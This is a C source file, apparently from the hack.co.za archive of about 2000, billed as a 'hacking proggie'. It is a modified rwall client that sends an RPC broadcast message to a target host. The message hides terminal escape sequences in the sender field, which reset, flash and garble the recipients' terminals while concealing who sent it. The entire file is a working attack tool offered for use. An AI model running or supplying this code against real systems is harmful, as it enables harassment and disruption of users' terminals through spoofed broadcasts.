home *** CD-ROM | disk | FTP | other *** search
- /* Great hacking proggie by the eleet p0nk B) */
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <time.h>
- #include <sys/param.h>
- #include <sys/types.h>
- #include <sys/stat.h>
- #include <pwd.h>
- #include <unistd.h>
- #include <paths.h>
-
- #include <rpc/rpc.h>
- #include <rpcsvc/rwall.h>
-
- #define FLASH "\033c\033(0\033#8\033[1;3r\033[J\033[5m\033[?5h"
-
-
- struct timeval timeout =
- {
- 25, 0
- };
- int mbufsize;
- char *mbuf;
-
- void makemsg ();
-
- int
- main(argc, argv)
- int argc;
- char **argv;
- {
- char *wallhost, res;
- CLIENT *cl;
- if ((argc < 2) || (argc > 3))
- {
- fprintf(stderr, "usage: %s hostname [file]\n", argv[0]);
- exit(1);
- }
-
- wallhost = argv[1];
-
- makemsg(argv[2]);
-
- /*
- * Create client "handle" used for calling MESSAGEPROG on the
- * server designated on the command line. We tell the rpc package
- * to use the "tcp" protocol when contacting the server.
- */
- cl = clnt_create(wallhost, WALLPROG, WALLVERS, "udp");
- if (cl == NULL)
- {
- /*
- * Couldn't establish connection with server.
- * Print error message and die.
- [2000]*/
- clnt_pcreateerror(wallhost);
- exit(1);
- }
-
- if (clnt_call(cl, WALLPROC_WALL, xdr_wrapstring, &mbuf, xdr_void, &res, timeout) != RPC_SUCCESS)
- {
- /*
- * An error occurred while calling the server.
- * Print error message and die.
- [2000]*/
- clnt_perror(cl, wallhost);
- exit(1);
- }
-
- exit(0);
- }
-
- void
- makemsg(fname)
- char *fname;
- {
- struct tm *lt;
- struct passwd *pw;
- struct stat sbuf;
- time_t now;
- FILE *fp;
- int fd;
- char whom[30]=FLASH, hostname[MAXHOSTNAMELEN], lbuf[100], tmpname[32];
-
- (void)strcpy(tmpname, _PATH_TMP);
- (void)strcat(tmpname, "/wall.XXXXXX");
- if (!(fd = mkstemp(tmpname)) || !(fp = fdopen(fd, "r+")))
- {
- (void)fprintf(stderr, "wall: can't open temporary file.\n");
- exit(1);
- }
- (void)unlink(tmpname);
-
- (void)gethostname(hostname, sizeof(hostname));
- (void)time(&now);
- lt = localtime(&now);
-
- /*
- * all this stuff is to blank out a square for the message;
- * we wrap message lines at column 79, not 80, because some
- * terminals wrap after 79, some do not, and we can't tell.
- * Which means that we may leave a non-blank character
- * in column 80, but that can't be helped.
- */
- (void)fprintf(fp, "Remote Broadcast Message from %s@%s\n",
- whom, hostname);
- (void)fprintf(fp, " (%s) at %d:%02d ...\n", ttyname(2),
- lt->tm_hour, lt->tm_min);
-
- putc('\n', fp);
-
- if (fname && !(freopen(fname, "r", stdin)))
- {
- (void)fprintf(stderr, "wall: can't read %s.\n", fname);
- exit(1);
- }
- while (fgets(lbuf, sizeof(lbuf), stdin))
- fputs(lbuf, fp);
- rewind(fp);
-
- if (fstat(fd, &sbuf))
- {
- (void)fprintf(stderr, "wall: can't stat temporary file.\n");
- exit(1);
- }
- mbufsize = sbuf.st_size;
- if (!(mbuf = malloc((u_int)mbufsize)))
- {
- (void)fprintf(stderr, "wall: out of memory.\n");
- exit(1);
- }
- if (fread(mbuf, sizeof(*mbuf), mbufsize, fp) != mbufsize)
- {
- (void)fprintf(stderr, "wall: can't read temporary file.\n");
- exit(1);
- }
- (void)close(fd);
- }
- /* www.hack.co.za [2000]*/